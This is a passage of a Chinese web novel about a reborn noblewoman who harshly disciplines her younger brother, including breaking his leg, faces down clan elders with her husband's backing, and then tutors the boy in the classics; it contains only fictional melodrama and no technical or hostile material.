“小姐,您消消气。” 紫姨柔声劝着,像一缕春风,想吹散茅清兮眉间的寒霜。 “公子还是个奶娃,玩心重,慢慢教就是了。” 茅清兮知道,紫姨是怕自己再动手。 十岁的孩子,没习过武,身子骨单薄,刚才那些鞭子,已经够他受的。 “啪嗒”一声。 茅清兮把鞭子扔在了地上,像扔掉了一块烫手的山芋。 “紫姨看着他,什么时候真心认错,什么时候才能起来。” 说完,她转身就走,步履匆匆,像是身后有什么洪水猛兽。 她怕自己再留下,真会忍不住再给茅飞羽来上几鞭子。 上一世,茅飞羽为了救她,命丧太子府门前…… 那剜心之痛,至今回想,依旧让她痛不欲生。 他不是一直黑她吗? 可为什么,最后却要为她舍命? 茅清兮原本以为,是自己没弄清楚她和茅飞羽之间的感情。 可现在看来……他心里的厌恶,似乎一点都没变。 胸口像压了一块巨石,闷得喘不过气。 茅清兮烦闷地在院子里踱步。 突然。 “小姐,不好了!” 紫姨跌跌撞撞地跑了出来,声音都变了调。 “少爷他……他晕过去了!” 茅清兮心头一紧,像被一只无形的手攥住。 来不及多想,她拔腿就往屋里跑。 茅飞羽倒在地上,一动不动,像个破败的布娃娃。 第一百零二章 完了! 茅清兮只觉得脑子里“嗡”的一声。 他要是在娘亲的牌位前出了事…… 她简直不敢往下想。 母上大人不会放过她,她也永远无法释怀。 她冲过去,手指颤抖着,就要去探茅飞羽的鼻息。 就在这时! 手腕上传来一阵尖锐的疼痛! 茅飞羽竟然一口咬住了她的手腕! 像一只发了疯的小狼崽,要把她的肉都撕下来! 茅清兮的脸色,瞬间冷了下来,像是覆上了一层万年寒冰。 “哎呦,少爷!您快松口!这都见血了……” 紫姨吓得魂飞魄散,扑过来就要掰开茅飞羽的嘴。 可茅飞羽像是铁了心,死死咬住不放。 他一边咬,一边抬起头。 通红的眼睛里, 一半是恐惧, 一半是快意, 像一只受伤的小兽, 恶狠狠地瞪着茅清兮。 茅清兮垂下眼眸,冷冷地回视。 那眼神,像两把锋利的刀子,要刺穿他的灵魂。 茅飞羽的心,一点点往下沉,像是坠入了无底深渊。 他终于松口答应,愣愣地看着茅清兮。 她白皙的手腕上,赫然一圈深深的牙印,血肉模糊,看得人心里发慌。 “你……你不疼吗?” 他声音发抖,带着一丝连自己都没察觉的迷茫。 换了是茅暮暮,恐怕早就哭天抢地了。 可茅清兮,竟然一声不吭。 紫姨心疼得眼泪都下来了,忙翻出药箱,要给茅清兮上药包扎。 “姑娘,这可得好好处理,仔细留了疤。” “没事。” 茅清兮站起身,随意地摆了摆手。 她看着依旧昏迷的茅飞羽,眼神冷厉: “让人去青山学院告假,就说茅飞羽受了风寒,要在家将养些时日。” “这……”紫姨有些迟疑。 茅清兮没理会,径直走向门口,对门外的家丁吩咐道: “即刻去办。” “是,小姐。”家丁领命而去。 茅清兮转身回到房中。 原本倒在地上的茅飞羽突然睁开了眼睛。 “我不去!谁给你的勇气阻止我去书院?!” 茅飞羽一个鲤鱼打挺从地上跳起来,冲着茅清兮的背影大吼。 他挣扎着想下床,却被紫姨一把按住。 “少爷,您身上还有伤呢,可不能乱动!” 茅飞羽不管不顾,继续冲茅清兮喊: “茅清兮!你就是嫉妒我!嫉妒我能去青山学院读书!” 茅清兮猛地转过身,眼神像刀子一样刮过茅飞羽的脸。 “想读书?” 她冷笑一声,声音里带着一丝嘲讽。 “好啊,我来教你。” “你教我?” 茅飞羽像是听到了天大的笑话, “你识得几个字?会作几首诗?你拿什么教我?难不成……你要教我骑马射箭?我可是读书人,才不学那些粗鄙武夫的东西!” “武夫?” 茅清兮的声音陡然拔高,像是被踩了尾巴的猫。 “在你眼里,娘亲和我,都是粗鄙的武夫?” “难道不是?” 茅飞羽梗着脖子,毫不退让。 “一个女人家,整天舞刀弄枪,也不嫌丢人现眼!” 茅清兮死死攥紧拳头,指甲几乎要嵌进肉里。 手腕上的伤口,火辣辣地疼,像是有无数根针在扎。 可更疼的,是她的心。 “你在学院里,学的就是这些?” 她的声音,低沉而压抑,像是暴风雨来临前的宁静。 “没有娘亲当年在战场上拼死搏杀,哪有安阳侯府的今天?这侯爵之位,也是娘亲拿命换来的!” “飞羽,”茅清兮深吸一口气,努力平复着自己的情绪,“旁人如何说我,我都可以不在意。但你若再敢对娘亲不敬,休怪我不客气。” 茅飞羽看着她,眼中恨意翻涌,却不敢再出言顶撞。 “这些日子,你就留在府里,我会好好‘教导’你的。” 茅清兮咬牙切齿,每一个字都像是从牙缝里挤出来的。 茅飞羽脸色惨白,不知道是被吓的,还是疼的,两眼一翻,又晕了过去。 紫姨忙将他扶到床上,又是掐人中,又是喂药。 茅清兮站在童霜的牌位前,双膝跪地,一言不发。 她重活一世,是为了守护,不是为了毁灭。 茅飞羽可以恨她,但不能变成这个样子。 娘亲如果在天有灵,看到他这样,该有多痛心? 从前,她没有能力保护他。 但现在,她绝不能再让茅暮暮母女把他教歪。 茅清兮怔怔地望着牌位上娘亲的名字,眼眶一点点湿润。 方才在茅飞羽面前强忍着的委屈,此刻再也忍不住,像决堤的洪水般涌了出来。 她捂着手腕上的伤口,声音哽咽: “娘,茅飞羽他咬我,我疼……您别怪我,我没想把他怎么样……” 像是小时候受了委屈,跑到娘亲面前撒娇。 仿佛只要娘亲还在,就没人敢欺负她。 泪水,再也忍不住,一颗颗滚落下来。 这是她重生以来,第一次露出软弱。 她逼着自己坚强,可茅飞羽的恨,像一把刀,刺破了她所有的伪装。 “这是……” 低沉的嗓音,带着一丝不易察觉的颤抖,在身后响起。 茅清兮猛地回头, 冀容白, 不知何时站在了她的身后。 他竟从轮椅上站了起来,一步步走到她面前,缓缓蹲下。 “清兮,别哭。” 他伸出手,指腹轻轻擦去她脸上的泪痕。 茅清兮呆呆地看着他,脑子里一片混乱。 他怎么来了? 他怎么…… “谁伤的你?” 冀容白的声音很轻,像一片羽毛,落在她的心上。 突然,他的目光落在她手腕的伤口上,脸色骤变。 深邃的眼眸里,瞬间燃起熊熊怒火,仿佛要将一切焚烧殆尽。 “告诉我,是谁?” 茅清兮张了张嘴,还没来得及说话, 冀容白已经转头, 对着门外厉声喝道: “墨川!” “属下在!” 墨川应声而入,单膝跪地。 “去把茅飞羽的双腿打断,让他来给夫人赔罪!” 冀容白的声音,冷酷无情,不带一丝温度。 茅清兮的心,猛地一抽。 她差点就脱口而出“好”字。 “墨川,回来!” 她急忙喊道。 墨川的脚步顿住,疑惑地看向冀容白,又看看茅清兮。 冀容白沉默片刻,挥了挥手,示意墨川退下。 “我……我教训过他了。” 茅清兮的声音有些发虚, “他咬了我,算是扯平了。” 她也不知道自己是怎么了。 竟然会下意识地跟冀容白告状。 她只是……觉得他会帮她。 而他,也真的什么都没问,竟然为她打call。 冀容白看着她,忽然笑了, 那笑容, 温暖而宠溺。 “我们清兮真厉害。” 茅清兮愣愣地看着他,心里涌起一股异样的感觉。 他……为什么叫她“清兮”? 冀容白语气认真又温柔,反倒让茅清兮有些不自在。 第一百零三章 “那个……我……” 她低下头, 绞着手指, 一时语塞无言以对。 “这是岳母大人的牌位吧?” 冀容白忽然转移了话题。 他站起身,整理了一下衣袍, 走到童霜的牌位前。 “我该给岳母大人行个礼。” 他撩起袍角, 缓缓跪下, 郑重其事地, 磕了一个头。 “小婿冀容白,见过岳母大人。”“娘说了,希望咱们安安稳稳地生活,每逢佳节记得上柱香,最好再添个白白胖胖的小子……” 冀容白垂着眼,语气那叫一个真诚。 说到一半,他自个儿先绷不住了,肩膀一抽一抽的。 那双桃花眼,早就笑成了弯弯的月牙儿,配上那张俊美无双的脸,瞧着就让人想揍他。 茅清兮愣怔了片刻,才反应过来这人在胡诌。 她翻了个白眼,一把甩开他的手,自顾自站起来: “冀容白,你这嘴里是越发没实话了。” 冀容白慢条斯理地跟着站起身,笑得跟只狐狸似的: “娘还说了,盼着夫人往后待我温柔点,别总是冷着一张脸。” “我娘绝不会讲这些。”茅清兮想都不想就反驳。 “娘子都没跟我娘提过我,怎的就这么肯定?” 冀容白歪了歪头,三分得意七分无赖: “我可是听娘说了,她对我有这么个英俊潇洒、玉树临风的女婿,那是满意得紧。” 茅清兮一个没留神,脚下拌蒜,差点摔了。 她算是彻底领教了冀容白的厚脸皮,真是啥话都敢往外说。 “得,我说不过你,您老人家爱咋说咋说吧。” 茅清兮懒得跟他掰扯,抬脚就往屋外走。 她得赶紧离这人远点,省得被他气出个好歹来。 月光如水,静静地洒在院中的小池塘里,泛起点点银光。 夏夜的风,带着几分湿润的暖意,轻轻拂过脸颊,让人心里都跟着柔软了几分。 紫姨端着药箱走过来,心疼地替茅清兮手腕上的伤口上药: “小姐,少爷这性子,也不是一天两天了,您想教他,急不得。” “我知道。” 茅清兮接过细棉布,在手腕上绕了几圈,末了,用力一扯,打了个死结。 那力道,跟跟自己有仇似的。 “茅飞羽,”茅清兮的声音很轻,却透着一股子狠劲儿,“往后,我亲自来教,谁也别想插手。” …… 茅飞羽高烧不退,一连躺了三天。 这三天,陆府也没消停。 茅暮暮跟骆芸上下蹿腾,撺掇着几个族老,领着一群家丁,把茅清兮的院子围了个水泄不通。 “茅飞羽可是咱们宋家唯一的男丁!可不能让个恶妇给教歪了!” “茅清兮,你早就嫁出去了,还赖在宋家干啥?这儿没你说话的份!” “就是,一个目不识丁的女人,还想教咱们宋家的少爷?做梦!” “赶紧滚出陆府!” …… 院子外头,群情激奋,吵吵嚷嚷的。 几个族老,拄着拐杖,倚老卖老,领着一群家丁,二话不说就撞开了院门。 茅清兮从屋里出来,只见一大波人马蜂拥而入。 俞霜一步上前, “呛”的一声抽出佩刀,护在茅清兮身前。 茅暮暮一看到俞霜,眼珠子都红了,那眼神,恨不得把他生吞活剥了。 “茅清兮,把飞羽交出来!” 为首的族老,拐杖在地上敲得“咚咚”响: “不然,今儿个,我们就把你逐出宋家!” 茅清兮冷笑一声: “茅飞羽是我弟弟,我管教他,天经地义。” “呸!你算个什么东西?” 另一个族老跳出来,指着茅清兮的鼻子骂: “一个嫁出去的赔钱货,也敢管我们宋家的事?飞羽自有族中长辈教导,轮不到你指手画脚!” “就是!你一个妇道人家,能教他什么?” “茅清兮你……” 几个族老正骂得起劲,突然间,声音就跟被人掐住了脖子似的,戛然而止。 冀容白推着轮椅,从屋里缓缓出来。 他嘴角噙着一抹玩味的笑,眼神在众人身上扫了一圈: “这么热闹?” 他顿了顿,又慢悠悠地补了句: “大家不介意我也来瞧个热闹吧?” “明,苏将军……” 有人吓得腿都软了,差点没跪下。 冀容白脸上的笑意更浓了,只是那笑,怎么看怎么让人觉得瘆得慌。 “宋家人可真不少啊,先前听岳丈说,还以为宋家没几个人了呢,如今看来,怕不是有三族人了。” 他这话,说得轻飘飘的,却像一道惊雷,劈在众人头顶。 大晋朝的规矩,谋逆大罪,那可是要株连三族的。 冀容白是谁? 十五岁就掌管五万鹰羽卫,被封为苏枭将军,先皇亲口御赐,可以不经审判就斩杀逆贼。 京城里头,谁敢惹他? 一个不小心,那就是灭族的大祸! 如今冀容白出现在这里,众人哪还敢多说一句废话,一个个都跟鹌鹑似的,恨不得把自己缩成一团。 茅暮暮一看这情形,肺都快气炸了。 她咬了咬牙,强撑着上前一步: “苏将军,这是陆府内部的事情,您还是别管了。” 冀容白笑眯眯地看着她: “二妹该不会失忆了吧,还得叫我一声姐夫?” “清兮的娘家,就是我的亲人,我怎能袖手旁观?” 茅暮暮被噎得哑口无言,脸色一阵青一阵白。 有冀容白在这儿,他们还真拿茅清兮没办法。 正当茅暮暮憋屈得不行的时候,茅飞羽突然从人群里冲了出来,一把抱住她的腰: “二姐,你可算来了!快带我走,我不想留在这鬼地方!” 茅暮暮心中一喜,连忙搂住他: “飞羽别怕,族老们就是来接你回去的。” 她挑衅地看了茅清兮一眼,那眼神,得意得很。 仿佛在说:茅清兮,你再厉害又怎样?你亲弟弟还不是照样讨厌你! 茅清兮眼神一冷: “茅飞羽,自己滚过来。” “我不!” 茅飞羽抱紧了茅暮暮的腰,躲在她身后,死活不肯出来。 “有本事你过来抓我啊!量你也不敢!” 茅清兮手腕一翻,“铮”的一声,寒星矛出鞘。 枪尖的红穗,无风自动,猎猎飞舞,凛冽的枪意,瞬间弥漫开来。 茅清兮手持长枪,一袭红衣,在风中猎猎作响,眉眼间一片冷肃,宛如杀神降世。 “茅飞羽,没人能在我面前保你。自觉点滚过来,不然,今儿个你这双腿,就别想要了。” “茅清兮,你敢动飞羽一根汗毛试试!” 一个族老气得跳脚,指着茅清兮的鼻子大骂: “飞羽可是咱们宋家的独苗,你敢伤他,我们就把你逐出宋家!” 平日里,这些族老,对府里的事,都是睁一只眼闭一只眼。 可一旦涉及子嗣传承,他们比谁都上心。 第一百零四章 茅文昭不在,茅暮暮把族老们请来,就是吃准了他们不会让茅清兮胡来。 “茅清兮,这里是陆府,不是你撒野的地方!” 茅清兮冷笑一声,眼神中透着一股子狠劲儿: “今日,我还就偏要撒野了,我看谁拦得住!” 她手中长枪一抖,直接将挡在前面的几个家丁扫飞出去。 “把茅清兮逐出宋家!”族老们气急败坏地吼道。 家丁们得了令,一拥而上。 茅清兮手中长枪,如蛟龙出海,上下翻飞,所到之处,无人能挡。 不过片刻,地上就躺倒了一片。 茅清兮越过众人,径直走到茅暮暮面前。 手中长枪,擦着茅暮暮的耳边,“咚”的一声,钉在茅飞羽脚边。 茅暮暮吓得腿都软了,她哆哆嗦嗦地看着茅清兮: “你,胆子挺肥啊,不怕宋家扫地出门?” “宋家?”茅清兮冷笑,“我从来不稀罕。” 她看都没看茅暮暮一眼,走到瘫坐在地上的茅飞羽面前。 居高临下地俯视着他: “我说过,谁也保不住你。”“嘶……” 倒吸冷气的声音,细微却尖锐,仿佛一根细针,刺破了这凝滞的气氛。 茅清兮手中寒星矛微顿,枪尖如蛇信般吞吐不定,最终,还是轻轻一挑,落在了茅飞羽那条看似完好的腿上。 “姐!姐!” 茅飞羽猛然惊醒,断腿处火烧火燎的剧痛,却远不及此刻心头涌起的恐惧。他浑身一个激灵,冷汗瞬间湿透了衣衫,眼泪鼻涕糊了一脸。 他下意识地死死抱住自己那条好腿,身体抖得像风中落叶,嘴唇哆嗦着,却连一句完整的话都说不出来,只剩下无意义的“我……我……” 巨大的恐惧如潮水般将他淹没,让他窒息。 茅清兮的影子笼罩着他,像一座大山压在他的心头。 此刻的她,冰冷、无情,仿佛从地狱里走出来的修罗,哪里还有半分姐姐的样子? 茅飞羽的哭嚎,没能让她有丝毫动容,甚至连眼皮都没抬一下。 她只是手腕一翻,寒星矛挟着风声,狠狠砸下! “啊——!” 惨叫声凄厉无比,仿佛要把屋顶都掀翻,在空旷的院子里回荡,久久不息。 茅飞羽五官扭曲,涕泗横流,整个人蜷成一团,像一只受伤的小兽。 他死死咬着嘴唇,几乎要咬出血来,却依旧无法抑制那撕心裂肺的剧痛。 屈辱、痛苦、怨恨…… 种种情绪交织在一起,化作滔天恨意,在他心中翻滚。 断了! 茅清兮把他的腿给废了! 她不是姐姐,是魔鬼!披着人皮的恶鬼! 他恨她!恨不得将她碎尸万段! 茅飞羽用尽全身力气,死死瞪着茅清兮,目光中燃烧的仇恨火焰,仿佛要将她焚烧成灰烬。 几个族老早已被这雷霆手段吓破了胆。 他们读了一辈子圣贤书,哪里见过这等血腥场面? 一个个面无人色,双腿发软,跌跌撞撞地往外逃,恨不得爹娘少生了两条腿,跑得比兔子还快。 茅暮暮被春秋搀扶着,脸色煞白如纸,嘴唇微微颤抖,却强忍着没有发出声音。 她不敢去看茅飞羽那求救的眼神,只是死死盯着春秋,目光中充满了惊恐和不安。 两人的目光在空中交汇,又迅速分开,仿佛只是无意中的一瞥,却又暗藏着不可告人的秘密。 “夫人!夫人晕过去了!” 春秋突然尖叫一声,声音尖锐刺耳,打破了这诡异的寂静。 几个丫鬟手忙脚乱地围了上来,七手八脚地把茅暮暮抬了回去,生怕慢了一步,就会惹祸上身。 一时间,院子里乱成一锅粥。 只有茅清兮,静静地站在那里,仿佛周围的一切都与她无关。 她像一块寒冰,又像一尊雕塑,冷漠而孤傲地俯视着一切。 她缓缓蹲下身,看着痛不欲生的茅飞羽,启唇,声音冰冷: “疼吗?” “疼……疼死我了!” 茅飞羽咬牙切齿,每一个字都像是从牙缝里挤出来的,带着无尽的恨意和痛苦。 可眼泪却怎么也止不住,大颗大颗往下掉,像是断了线的珠子。 茅清兮的思绪飘回了十岁那年。 茅暮暮将她从假山上推下,她重重摔落在地,腿骨当场断裂。 可她愣是一声没吭,硬生生忍着。 后来大夫上药,那疼,真是钻心刺骨,她却咬紧牙关,没掉一滴眼泪。 哪像茅飞羽,一个男子汉,竟然哭得像个小娘们,简直丢人现眼。 “茅飞羽,给老娘记清楚了。” 茅清兮缓缓开口,声音低沉而威严,带着不容置疑的气势。 “打断你腿的这把枪,叫寒星。” “当年,娘就是带着它,在战场上杀敌无数,所向披靡,立下赫赫战功。” “这把枪,沾过敌人的血,也见证过无数荣耀。” 茅飞羽泪眼朦胧地看了一眼寒星矛,只觉得那银色的枪身泛着森冷的寒光,让他忍不住打了个寒颤,下意识地往后缩了缩。 紫姨小心翼翼地走过来,轻声说:“小姐,要不……让我检查一下你的伤势?再耽搁下去,怕是……” “不用。” 茅清兮冷冷打断她,语气中透着不容置疑的决绝。 “让他疼着,才能长记性。有些人,就是欠收拾。” 她站起身,居高临下地看着茅飞羽,眼神中没有一丝怜悯,只有冰冷的漠然。 “来人,把茅飞羽抬回秦府,我们走。” 没有茅清兮的命令,谁也不敢擅自行动。 紫姨只能眼睁睁看着茅飞羽一路哀嚎,一路疼回秦府。 茅飞羽不想回秦府,那里是茅清兮的地盘,他怕自己会被她折磨死。 可如今,偌大的陆府,竟没有一个人能护得住他。 茅清兮当着这么多人的面,说打断他的腿就打断,连个求情的人都没有。 真是虎落平阳被犬欺! 他越想越委屈,越想越绝望,只觉得这世道真是太不公平了。 明明他才是陆府名正言顺的小公子,凭什么要被一个外人欺负? 他心中恨极了茅清兮,却又怕得要命,一个字都不敢说出来,只能默默地在心里诅咒。 回去的路上,茅清兮亲自推着冀容白的轮椅。 “咳咳……” 冀容白靠在轮椅上,轻轻咳嗽了两声,脸色有些苍白。 “又吹风了?” 茅清兮眉头紧锁,语气中带着几分担忧和责备。 “让你在家好好待着,非不听。你这身子骨,跟个破筛子似的,四处漏风,还到处乱跑,真是不让人省心!” 冀容白这身体,也太弱不禁风了! 动不动就咳嗽,动不动就脸色发白,真不知道他哪来的自信,还敢到处乱跑。 万一有个三长两短,看他怎么办! 冀容白张了张嘴,想解释,却又不知道该说什么。 第一百零五章 他总不能说,自己是担心她,才特意跑出去的吧? 那岂不是显得他很没用? 他只能无奈地叹了口气,声音虚弱地说:“我……我就是想出来透透气……” “透气?我看你是想找罪受!” 茅清兮没好气地瞪了他一眼。 “下次再不听话,就别怪我把你关在府里,哪儿也不许去!” “我怎么可能被人欺负?” 茅清兮觉得冀容白这话简直莫名其妙。 她是谁? 她可是茅清兮! 这世上能欺负她的人,恐怕还没出生呢! 冀容白看着她,眼神温柔,带着一丝宠溺。 他伸出手,轻轻握住她的手,动作轻柔,仿佛怕弄疼了她。 “我知道你很厉害,没人能欺负你。” “但我还是希望,你能明白,无论何时何地,我都会站在你身后。” “就算全天下都与你为敌,我也会毫不犹豫地支持你,保护你。” 这话,冀容白已经不是第一次说了,但每次听,都让茅清兮的心头微微一颤。 这一次,与以往不同,她的心跳得很快,像是有什么东西要破土而出。 她忽然意识到,冀容白似乎真的,一直都在默默地守护着她。 无论她做什么,无论她走到哪里,只要一回头,就能看到他。 这种感觉,很微妙,也很安心。 她已经习惯了有他在身边的日子,甚至,开始有些依赖他了。 就像现在,她已经很自然地拿冀容白的名头来唬人了。 茅清兮微微垂眸,掩饰住眼底那一闪而逝的异样情绪,点了点头。 “知道了。你也别太逞强,自己都顾不过来,还想着保护别人。” “以后要是再遇到这种事,你给我老老实实躲在我身后,别往前凑。” “我可不想分心照顾你,万一伤到你,我找谁说理去?” 说完,她还认真地点了点头,表示自己是认真的。 冀容白被她这番话噎得哭笑不得,他无奈地叹了口气,嘴角微微抽搐,却还是点了点头。 “好,都听娘子的。” 茅飞羽疼了一路,汗出了一身又一身,衣服都湿透了,黏在身上,难受得要命。 茅清兮不让紫姨管,谁也不敢给他请大夫,更不敢给他上药。 茅飞羽一路哀嚎,只觉得这辈子都没这么疼过,简直是生不如死。 他快要哭死了,嗓子都哭哑了,连骂人的力气都没有了。 就在他疼得死去活来,几乎绝望的时候,茅清兮突然推门走了进来。 紫姨把他安置在一间偏房里,简陋而阴暗,大半天了也没人管他,连口水都没人给他喝,简直把他当成了一个废人。 茅清兮一进来,茅飞羽就狠狠瞪了她一眼,目光中充满了怨恨和恐惧,恨不得把她生吞活剥了。 可下一秒,他又像是受惊的兔子一样,飞快地把目光移开,不敢与她对视。 茅清兮走到床边坐下,看都没看他一眼,伸手就去碰他的腿。 “你……你还想搞什么幺蛾子?!” 茅飞羽吓得魂飞魄散,尖叫起来,声音嘶哑而绝望。 “我这条腿废了!你还想怎么样?难道你真的要弄死我才甘心吗?!” 茅清兮笑了,笑容冰冷而残忍,像一把出鞘的利刃。 “想试试生不如死的滋味吗?” 她顿了顿,目光落在茅飞羽的腿上。 “我有一百种方法,能让你这条腿彻底废掉,却又查不出任何伤痕。” 茅飞羽惊呆了,他甚至忘了呼吸,只是瞪大了眼睛,死死地盯着茅清兮,仿佛在看一个从地狱里爬出来的恶魔。 茅清兮冷笑一声,忽然出手,一把抓住他的腿,用力一拧! “啊——!” 茅飞羽惨叫出声,声音凄厉而绝望,仿佛从地狱深处传来,让人毛骨悚然。 他疼得死去活来,恨不得立刻晕死过去。 茅清兮把他抓回来,就是为了折磨他!这个恶毒的女人,迟早会遭报应的! “闭嘴!吵死了!” 茅清兮不耐烦地呵斥一声,语气中充满了厌恶。 茅飞羽的哭声戛然而止,他死死咬着嘴唇,不敢再发出一点声音,生怕惹怒了茅清兮,再遭毒手。 “想活命,就乖乖听话。” 茅清兮站起身,拍了拍手,仿佛什么都没发生过一样,语气平静得可怕。 “自己能走吗?能走就出来,别让我再重复第二遍。” 说完,她转身走了出去,留下茅飞羽一个人在房间里,瑟瑟发抖。 茅飞羽呆呆地坐在床上,脑子里一片空白,完全不知道该怎么办。 腿好像没那么疼了…… 他颤抖着手,轻轻摸了摸自己的腿,竟然真的感觉不到疼痛了! 难道……茅清兮刚才那一下,不是要弄断他的腿,而是……在给他治腿? 这个念头一冒出来,茅飞羽就觉得自己疯了。 茅清兮怎么可能会给他治腿?她恨不得他死才对! 可如果不是治腿,那为什么他的腿又不疼了呢? 他百思不得其解,越想越害怕。 他犹豫了片刻,最终还是恐惧战胜了理智。 他咬了咬牙,挣扎着从床上爬起来,一瘸一拐地走了出去。 不管怎么样,先保住命要紧! 万一茅清兮真的会什么妖法,能让他生不如死呢?茅飞羽脚步一顿,僵在了原地。 他磨蹭着转过身,目光落在院中那道挺拔的身影上。 茅清兮。 她静静地站在那里,手中握着那把寒星矛,枪身泛着冷冽的光。 茅飞羽的腿肚子又开始打颤,像是被无形的鞭子抽过,火辣辣地疼。 “过来。” 冰冷的两个字,像冬日里的寒风,直往骨头缝里钻。 茅清兮的声音不大,却带着不容置疑的威严。 寒星矛被她随意地杵在地上,枪尖与青石板摩擦,发出细微而刺耳的声音。 茅飞羽心里头一万个不乐意,可又不敢表露出来。 他低着头,一步三挪地蹭到茅清兮面前,眼角余光却始终盯着那杆长枪,生怕它突然朝自己招呼过来。 “破霄枪诀,你可曾见过?”茅清兮突然问。 茅飞羽一愣,随即撇了撇嘴,小声嘟囔:“我一个读书人,哪见过这个……” 话音未落,寒光一闪! 寒星矛如蛟龙出海,腾空而起。 茅清兮足尖轻点,身形如燕子般轻盈跃起,稳稳握住枪柄。 她凌空旋身,长枪舞动,带起一阵凌厉的劲风,刮得茅飞羽脸颊生疼。 一时间,茅飞羽的眼中只剩下漫天飞舞的红色衣袂,和那闪烁着寒芒的枪尖。 长枪破空,时而如狂风骤雨,横扫一切;时而如惊涛拍岸,穿刺而来。 刚猛凌厉的枪法,与茅清兮那看似柔弱的身姿,形成了强烈的反差。 可偏偏,这长枪在她手中,又显得那般轻盈灵动,如臂使指,毫无凝滞之感。 第一百零六章 红衣翻飞,划出一道道残影。 茅清兮的眼神专注而平静,深邃的眼眸中,似乎倒映着这凌厉的枪影。 一套枪法打完,茅清兮旋身收枪,稳稳站定。 “此为,破霄枪诀。” 她的声音不带一丝波澜,仿佛刚才那惊艳的一幕,不过是寻常。 茅飞羽的嘴巴张成了“o”型,久久合不拢。 他傻傻地看着茅清兮,完全反应不过来。 “母上大人当初没机会告诉你这些,”茅清兮的目光落在他身上,“如果你想学,我可以教你。” “谁要学这个!”茅飞羽猛地回过神,想都没想就拒绝。 “我是读书人,靠的是脑子,不是靠这些江湖打打闹闹就能成事的!”他提高声音,给自己壮胆。 说完,又忍不住偷偷瞄了茅清兮一眼,生怕她发怒。 让他意外的是,茅清兮并没有生气,只是定定地看了他一会儿。 “既然不习武,那便读书。” 茅清兮缓缓开口,语气听不出喜怒。 “哈?”茅飞羽愣住了。 “茅清兮,你该不会是忘了,以前那些夫子是怎么被你气跑的吧?”他反应过来,忍不住出言嘲讽。 “就你?还想教我?我背后站着的可是内阁孔首辅!”茅飞羽越说越起劲,一脸的轻蔑。 茅清兮面无表情。那些所谓的“气走夫子”,不过是茅暮暮的把戏罢了。 可她也懒得解释。 “冀容白的书房,我可随意使用,是吧?” 茅清兮想起冀容白说过的话,心中已然有了计较。 “跟我去书房。”她对茅飞羽说道。 “我不去!茅清兮,你别以为我怕你!” 茅飞羽双手抱在胸前,一脸抗拒。 “等我爹回来,看他怎么收拾你!”他还在嘴硬。 可一进书房,看见轮椅上的冀容白,茅飞羽立马就怂了。 他像只被掐住脖子的鸡,声儿都没了。 乖乖地跟在茅清兮身后,大气都不敢喘。 茅清兮也有些惊讶。 她没想到冀容白会在。 平时冀容白都躺在床上,脸色白得跟纸一样。 “你要看书?”她问。 “书房给你用。” 冀容白说着,合上了一卷地图。 茅清兮余光扫到,那是张云陲的堪舆图,但她也没多想。 冀容白把桌案让给茅清兮。 茅清兮瞥了茅飞羽一眼:“还不快过来?” 茅飞羽不情不愿地挪过去,心里憋着一股气。 他倒要看看,茅清兮能教他个什么。 “先看看你都学到哪儿了。” 茅清兮随手从书架上抽了几本书,都是些基础的启蒙读物。 “这几本,可都读过?”她问。 茅飞羽装模作样地翻了翻,眼睛却根本没看内容。 他压根就不信茅清兮能懂。 “随便考。”他摆出一副满不在乎的样子。 茅清兮也不多言,翻开其中一本,指着一段文字:“既说读过,那便背来。” 茅飞羽翻了个白眼,心里暗骂:装什么装! “茅清兮,你还是省省吧!让二姐来教我还差不多!”他毫不客气地说。 茅清兮看都没看他,直接开口:“君子之道,辟如行远必自迩,辟如登高必自卑……” 她的声音清越,抑扬顿挫,不疾不徐。 茅飞羽脸上的轻蔑,一点点褪去。 他愣愣地看着茅清兮,看着她流畅地背完整段。 “这……也没什么了不起。” 他回过神,嘴硬道。 “不过是死记硬背,谁不会啊!” “哦?”茅清兮合上书,似笑非笑,“那便换你来考我。” 茅飞羽一愣,随即心中冷笑:这可是你自找的! 他随手抽出一本,翻到一页,刚要开口,茅清兮已经开始背了。 “富润屋,德润身,心广体胖,故君子必诚其意……” 茅飞羽不甘心,又换了一本。 “天命之谓性,率性之谓道,修道之谓教……” 茅清兮依旧对答如流。 他翻得越来越快,茅清兮却背得更快。 到最后,他索性乱报页数,可茅清兮还是能背出来! 茅飞羽彻底傻眼了。 他呆呆地看着茅清兮,心中的震惊无以复加。 这个他一直瞧不起的草包姐姐,怎么会有这样的本事? “这……不算什么。” 他强撑着说道。 “不过是记性好点罢了。” “是吗?”茅清兮微微一笑,“那便考考你的记性。” 她随手抽出一本书,递给茅飞羽:“随意翻,随意背。” 茅飞羽接过书,手都有些抖。 他深吸一口气,翻开书页,结结巴巴地开始背诵。 可没背几句,就卡壳了。 茅清兮也不催促,只是静静地看着他。 茅飞羽急得满头大汗,却怎么也想不起来后面的内容。 “如何?”茅清兮淡淡地问。 “我……我……”茅飞羽的脸涨得通红。 “连最基本的都记不住,这些年,你都读了些什么?” 茅清兮的语气,严厉起来。 茅飞羽低着头,不敢看她的眼睛。 一直沉默的冀容白,此时却轻笑出声。 茅飞羽狠狠地瞪了他一眼,又飞快地移开视线。 “茅飞羽,你可知,读书明理,首在‘明’字。” 茅清兮的语气缓和了些。 “读书不是死记硬背,而是要理解其中的道理。” 她顿了顿,继续说道: “你学问上的问题,不是一日两日能解决的。” “从今日起,每日来书房一个时辰,我会亲自教你。” “啊?”茅飞羽苦着脸,“我……” 他还想说什么,却被茅清兮打断: “你若不愿,大可不必勉强。” “青云书院教成什么样你也看到了,你若继续回去,我也不拦你。” 茅清兮说的风轻云淡。 青云书院是什么货色,她可是一清二楚。 能把茅飞羽教成这样,也算是“本事”了。 茅飞羽咬着嘴唇,脸色变幻不定。 他想反驳,却又无力反驳。 茅清兮说的没错,他的学问,的确是一塌糊涂。 可让他承认自己不如茅清兮,他又实在拉不下这个脸。 “我……”他支支吾吾,说不出话来。茅飞羽被茅清兮拘在秦府读书,起初还心有不甘。 然而没过几日,那点儿不服气就被收拾得一干二净。 原因无他,无论拳脚还是学问,他都远不是茅清兮的对手。 只能被压着。 小半个月过去,茅飞羽既无法与陆府取得联系,也没法和书院的任何人联系。 他从未如此用功读书。 以往在陆府,身边总有丫鬟围绕,稍有不适便有人嘘寒问暖,端茶递水。 哪像现在这般,书房里除了他和茅清兮,再无旁人。 茅清兮立下规矩,完不成课业,便不许吃饭。 甚至,还要罚扎马步。 茅飞羽饿了两顿,外加一次长达一个时辰的马步后,终于老实了。 不仅不敢再有任何怨言,甚至为了避免惩罚,开始提前完成课业。 第一百零七章 